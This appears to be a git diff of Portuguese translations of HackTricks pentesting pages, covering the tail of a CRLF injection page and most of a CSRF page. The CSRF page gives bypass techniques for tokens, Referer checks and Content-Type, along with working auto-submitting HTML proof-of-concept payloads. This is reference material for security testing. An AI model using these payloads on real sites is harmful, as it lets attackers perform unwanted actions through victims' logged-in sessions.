||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Para a informação completa leia o**[ **artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Para a informação completa leia o**[ **relato original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
## Impactos da Vulnerabilidade de Injeção CRLF
|
||||
|
||||
O impacto das injeções CRLF varia e também inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança como Filtros XSS e a Política de Mesma Origem nos navegadores das vítimas, deixando-os suscetíveis a ataques maliciosos.
|
||||
|
||||
### Como Prevenir Injeções CRLF / HTTP Header em Aplicações Web
|
||||
### Como Prevenir Injeções CRLF / Cabeçalhos HTTP em Aplicações Web
|
||||
|
||||
A melhor técnica de prevenção é não usar diretamente a entrada dos usuários dentro dos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança em aplicações web é atualizar sua linguagem de programação para uma versão que não permita que CR e LF sejam injetados dentro de funções que definem cabeçalhos HTTP.
|
||||
A melhor técnica de prevenção é não usar diretamente a entrada dos usuários dentro dos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicações web é atualizar sua linguagem de programação para uma versão que não permita que CR e LF sejam injetados dentro de funções que definem cabeçalhos HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
```
|
||||
|
|
@ -226,20 +228,22 @@ A melhor técnica de prevenção é não usar diretamente a entrada dos usuário
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente, escrito e falado_).
|
||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,55 +2,55 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se uma lenda do hacker web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
## O que é CSRF?
|
||||
|
||||
**Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite a um atacante **induzir os usuários a realizar ações que eles não pretendem realizar**.\
|
||||
Isso é feito **fazendo um usuário logado** na plataforma da vítima acessar um site controlado pelo atacante e a partir daí **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta da vítima**.
|
||||
**Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança web que permite a um atacante **induzir usuários a realizar ações que eles não pretendem fazer**.\
|
||||
Isso é feito **fazendo um usuário logado** na plataforma vítima acessar um site controlado pelo atacante e de lá **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta das vítimas**.
|
||||
|
||||
### Requisitos
|
||||
|
||||
Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para explorar** (alterar senha ou email, fazer a vítima seguir você em uma rede social, dar a você mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP**, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, não deve haver **parâmetros imprevisíveis** na solicitação.
|
||||
Para poder abusar de uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para abusar** (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar a você mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de Autenticação Básica HTTP**, qualquer outro cabeçalho não pode ser usado para gerenciar a sessão. E finalmente, **não deve haver parâmetros imprevisíveis** na solicitação.
|
||||
|
||||
Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilidade.
|
||||
Várias **contramedidas** podem estar em vigor para evitar essa vulnerabilidade.
|
||||
|
||||
### **Defesas comuns**
|
||||
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Se o cookie de sessão estiver usando essa flag, você pode não conseguir enviar o cookie de sites arbitrários.
|
||||
* [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo do tipo de solicitação HTTP que você precisa fazer para explorar a ação relevante, você pode levar em consideração a **política CORS do site da vítima**. _Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._
|
||||
* Solicitar a **senha** do usuário para autorizar a ação.
|
||||
* [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo de qual tipo de solicitação HTTP você precisa realizar para abusar da ação relevante, você pode levar em conta a **política CORS do site vítima**. _Note que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._
|
||||
* Pedir a **senha** do usuário para autorizar a ação.
|
||||
* Resolver um **captcha**
|
||||
* Ler os cabeçalhos **Referrer** ou **Origin**. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
|
||||
* http://mal.net?orig=http://example.com (termina com a URL)
|
||||
* http://example.com.mal.net (começa com a URL)
|
||||
* **Modificar** o **nome** dos **parâmetros** da solicitação POST ou GET
|
||||
* Usar um **token CSRF** em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.
|
||||
* Ler os cabeçalhos **Referrer** ou **Origin**. Se um regex for usado, ele poderia ser contornado por exemplo com:
|
||||
* http://mal.net?orig=http://example.com (termina com a url)
|
||||
* http://example.com.mal.net (começa com a url)
|
||||
* **Modificar** o **nome** dos **parâmetros** da solicitação Post ou Get
|
||||
* Usar um **token CSRF** em cada sessão. Esse token tem que ser enviado dentro da solicitação para confirmar a ação. Esse token poderia ser protegido com CORS.
|
||||
|
||||
### Mapa CSRF
|
||||
|
||||
|
|
@ -60,43 +60,44 @@ Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilida
|
|||
|
||||
### De POST para GET
|
||||
|
||||
Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF**, mas você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
|
||||
Talvez o formulário que você quer abusar esteja preparado para enviar uma **solicitação POST com um token CSRF**, mas você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
|
||||
|
||||
### Falta de token
|
||||
|
||||
Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.\
|
||||
Nessa situação, o atacante pode **remover o parâmetro inteiro** que contém o token (não apenas o valor) para contornar a validação e realizar um ataque CSRF.
|
||||
Algumas aplicações **validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido**.\
|
||||
Nessa situação, o atacante pode **remover todo o parâmetro** contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF.
|
||||
|
||||
### Token CSRF não está vinculado à sessão do usuário
|
||||
|
||||
Algumas aplicações **não validam que o token pertence à mesma sessão** do usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça nesse pool.\
|
||||
Nessa situação, o atacante pode fazer login na aplicação usando sua própria conta, **obter um token válido** e, em seguida, **enviar esse token para o usuário vítima** em seu ataque CSRF.
|
||||
Algumas aplicações **não validam que o token pertence à mesma sessão** que o usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça neste pool.\
|
||||
Nessa situação, o atacante pode fazer login na aplicação usando sua própria conta, **obter um token válido**, e então **fornecer esse token ao usuário vítima** em seu ataque CSRF.
|
||||
|
||||
### Bypass de método
|
||||
|
||||
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.\
|
||||
Por exemplo, se estiver **usando o método PUT**, você pode tentar **usar o método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Se a solicitação estiver usando um **método "estranho"**, verifique se a funcionalidade de **sobrescrita de método** está funcionando.\
|
||||
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
|
||||
Isso também pode funcionar enviando o parâmetro **\_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
* _X-Method-Override_
|
||||
### Bypass personalizado de token de cabeçalho
|
||||
|
||||
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como método de **proteção CSRF**, então:
|
||||
### Bypass de token de cabeçalho personalizado
|
||||
|
||||
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
|
||||
* Teste a solicitação com um **token diferente, mas com o mesmo comprimento**.
|
||||
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
|
||||
|
||||
### O token CSRF é verificado por um cookie
|
||||
* Teste a solicitação sem o **Token Personalizado e também sem o cabeçalho.**
|
||||
* Teste a solicitação com exatamente o **mesmo comprimento, mas com um token diferente**.
|
||||
|
||||
Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou então, **definem um cookie csrf** e **verificam no backend se o token csrf enviado é o mesmo relacionado ao cookie**.
|
||||
### Token CSRF é verificado por um cookie
|
||||
|
||||
Quando a solicitação subsequente é validada, o aplicativo simplesmente verifica se o **token** enviado no **parâmetro de solicitação corresponde** ao valor armazenado pelo **cookie**.\
|
||||
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita definir seu cookie CSRF para a vítima, como um CRLF**.
|
||||
Em uma variação adicional da vulnerabilidade anterior, algumas aplicações **duplicam cada token dentro de um cookie e um parâmetro de solicitação**. Ou **definem um cookie csrf** e **verificam no backend se o token csrf enviado é o relacionado com o cookie**.
|
||||
|
||||
Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo:
|
||||
Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o **token** enviado no **parâmetro da solicitação corresponde** ao valor armazenado pelo **cookie**.\
|
||||
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site contiver qualquer vulnerabilidade que permita a ele definir seu cookie CSRF para a vítima, como um CRLF**.
|
||||
|
||||
Neste caso, você pode definir o cookie tentando carregar uma imagem falsa e depois lançar o ataque CSRF como neste exemplo:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
|
|
@ -112,18 +113,18 @@ Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em
|
|||
</html>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Observe que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo.
|
||||
Observe que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a vítima com sua sessão, e, portanto, estará atacando a si mesmo.
|
||||
{% endhint %}
|
||||
|
||||
### Alteração do Content-Type
|
||||
### Mudança do Content-Type
|
||||
|
||||
De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, esses são os valores permitidos para o Content-Type:
|
||||
De acordo com [**isto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações preflight** usando o método **POST**, estes são os valores de Content-Type permitidos:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, portanto, você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Exemplo (de [aqui](https://brycec.me/posts/corctf\_2021\_challenges)) de envio de dados JSON como text/plain:
|
||||
```html
|
||||
|
|
@ -138,31 +139,31 @@ form.submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Bypassar solicitação de pré-voo de aplicativo/json
|
||||
### bypass de pedido de preflight application/json
|
||||
|
||||
Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type **`application/json`** via formulário HTML e, se você tentar fazer isso via **`XMLHttpRequest`**, uma solicitação de pré-voo é enviada primeiro.\
|
||||
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **`text/plain`** e **`application/x-www-form-urlencoded`** apenas para verificar se o backend está usando os dados independentemente do Content-Type.\
|
||||
Como você já sabe, não é possível enviar um pedido POST com o Content-Type **`application/json`** através de um formulário HTML, e se tentar fazê-lo através de **`XMLHttpRequest`**, um pedido de **preflight** é enviado primeiro.\
|
||||
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo \*\*`text/plain` e `application/x-www-form-urlencoded` \*\* apenas para verificar se o backend está usando os dados independentemente do Content-Type.\
|
||||
Você pode enviar um formulário usando `Content-Type: text/plain` definindo **`enctype="text/plain"`**
|
||||
|
||||
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar uma solicitação de pré-voo.
|
||||
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar um pedido de preflight.
|
||||
|
||||
Você também pode tentar **burlar** essa restrição usando um **arquivo SWF flash**. Para mais informações, [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
Você também pode tentar **bypassar** essa restrição usando um **arquivo flash SWF**. Para mais informações [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de verificação de Referrer / Origin
|
||||
### bypass de verificação de Referrer / Origin
|
||||
|
||||
**Evite o cabeçalho Referer**
|
||||
**Evitar o cabeçalho Referrer**
|
||||
|
||||
Alguns aplicativos validam o cabeçalho Referer quando ele está presente nas solicitações, mas **ignoram a validação se o cabeçalho for omitido**.
|
||||
Algumas aplicações validam o cabeçalho Referer quando ele está presente nos pedidos, mas **pulam a validação se o cabeçalho for omitido**.
|
||||
```markup
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
**Burlas de Regexp**
|
||||
**Bypasses de Regexp**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
|
||||
Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
|
@ -181,17 +182,17 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Bypassando o método HEAD**
|
||||
### **Bypass do método HEAD**
|
||||
|
||||
A primeira parte deste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que no código-fonte do [Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **tratar as requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico para lidar com as requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo remove o corpo de resposta**.
|
||||
A primeira parte [**deste writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que no [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - um método comum que não é exclusivo do Oak. Em vez de um manipulador específico para requisições HEAD, elas são simplesmente **encaminhadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
||||
|
||||
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
|
||||
Portanto, se uma requisição GET está sendo limitada, você poderia simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
|
||||
|
||||
## **Exemplos de Exploração**
|
||||
## **Exemplos de Exploit**
|
||||
|
||||
### **Exfiltrando o Token CSRF**
|
||||
### **Exfiltrando Token CSRF**
|
||||
|
||||
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** aproveitando uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
Se um **token CSRF** está sendo usado como **defesa**, você poderia tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou de uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### **GET usando tags HTML**
|
||||
```markup
|
||||
|
|
@ -203,7 +204,7 @@ Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicita
|
|||
|
||||
.png>)
|
||||
|
||||
### Solicitação GET de formulário
|
||||
### Solicitação GET de Formulário
|
||||
```markup
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
|
|
@ -219,30 +220,7 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Requisição POST de formulário
|
||||
|
||||
A técnica de Cross-Site Request Forgery (CSRF) explora a confiança que um site tem em um usuário autenticado para realizar ações indesejadas em seu nome. Uma das maneiras mais comuns de realizar um ataque CSRF é através de uma requisição POST de formulário.
|
||||
|
||||
#### Como funciona?
|
||||
|
||||
1. O atacante cria uma página maliciosa contendo um formulário que realiza uma ação específica no site alvo, como alterar a senha do usuário.
|
||||
2. O usuário autenticado visita a página maliciosa.
|
||||
3. O formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada do usuário.
|
||||
4. O site alvo processa a requisição POST, acreditando que foi enviada pelo usuário legítimo.
|
||||
5. A ação maliciosa é executada no site alvo, como alterar a senha do usuário.
|
||||
|
||||
#### Prevenção
|
||||
|
||||
Existem várias medidas que podem ser tomadas para prevenir ataques CSRF:
|
||||
|
||||
- Utilizar tokens CSRF: Adicionar um token único e secreto em cada formulário e verificar sua validade no processamento da requisição POST.
|
||||
- Verificar a origem da requisição: Validar se a requisição POST vem de um domínio confiável.
|
||||
- Utilizar cabeçalhos HTTP: Configurar cabeçalhos HTTP, como o cabeçalho "Referer" ou "Origin", para verificar a origem da requisição.
|
||||
- Implementar autenticação de dois fatores: Adicionar uma camada extra de segurança ao exigir uma segunda forma de autenticação para realizar ações sensíveis.
|
||||
|
||||
#### Conclusão
|
||||
|
||||
A técnica de CSRF é uma ameaça séria à segurança dos sites. É importante que os desenvolvedores implementem medidas de prevenção adequadas para proteger os usuários contra esse tipo de ataque.
|
||||
### Solicitação de POST de formulário
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
|
|
@ -258,20 +236,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Requisição POST de formulário por meio de iframe
|
||||
|
||||
Uma técnica comum para realizar um ataque de falsificação de solicitação entre sites (CSRF) é enviar uma requisição POST de formulário por meio de um elemento `<iframe>`. Isso permite que um invasor engane o navegador do usuário para que ele envie uma solicitação não autorizada em nome do usuário autenticado.
|
||||
|
||||
O processo geral para realizar esse ataque é o seguinte:
|
||||
|
||||
1. O invasor cria um site malicioso que contém um formulário HTML.
|
||||
2. O formulário é configurado para enviar uma requisição POST para o alvo desejado.
|
||||
3. O invasor incorpora o formulário em uma página legítima usando um elemento `<iframe>`.
|
||||
4. Quando um usuário visita a página legítima, o formulário é carregado no `<iframe>`.
|
||||
5. O navegador do usuário envia automaticamente a requisição POST para o alvo desejado, incluindo quaisquer cookies de autenticação válidos.
|
||||
6. O alvo processa a requisição como se fosse legítima, pois não pode distinguir entre uma solicitação enviada pelo usuário ou por um atacante.
|
||||
|
||||
Para se proteger contra ataques CSRF, é recomendado implementar medidas de segurança, como o uso de tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários. Esses tokens são verificados pelo servidor para garantir que a solicitação seja legítima e não tenha sido gerada por um atacante.
|
||||
### Solicitação de POST de formulário através de iframe
|
||||
```markup
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
|
@ -290,16 +255,6 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### **Requisição POST Ajax**
|
||||
|
||||
Uma requisição POST Ajax é uma técnica usada para enviar dados para um servidor sem recarregar a página. Isso é feito usando a função `$.ajax()` do jQuery ou a classe `XMLHttpRequest` do JavaScript puro.
|
||||
|
||||
A requisição POST Ajax é frequentemente usada em ataques de falsificação de solicitação entre sites (CSRF), onde um invasor engana um usuário autenticado a executar ações indesejadas em um site sem o seu conhecimento.
|
||||
|
||||
Durante um ataque CSRF, o invasor cria um formulário malicioso em um site controlado por ele e o envia para a vítima. Quando a vítima visita o site malicioso, o formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada da vítima. Isso permite que o invasor execute ações em nome da vítima, como fazer uma transferência de fundos, alterar senhas ou excluir dados.
|
||||
|
||||
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários ou cabeçalhos de solicitação. O servidor verifica se o token é válido antes de processar a solicitação.
|
||||
|
||||
Os testadores de penetração podem explorar vulnerabilidades de CSRF em um site para demonstrar a sua existência e fornecer recomendações para corrigi-las.
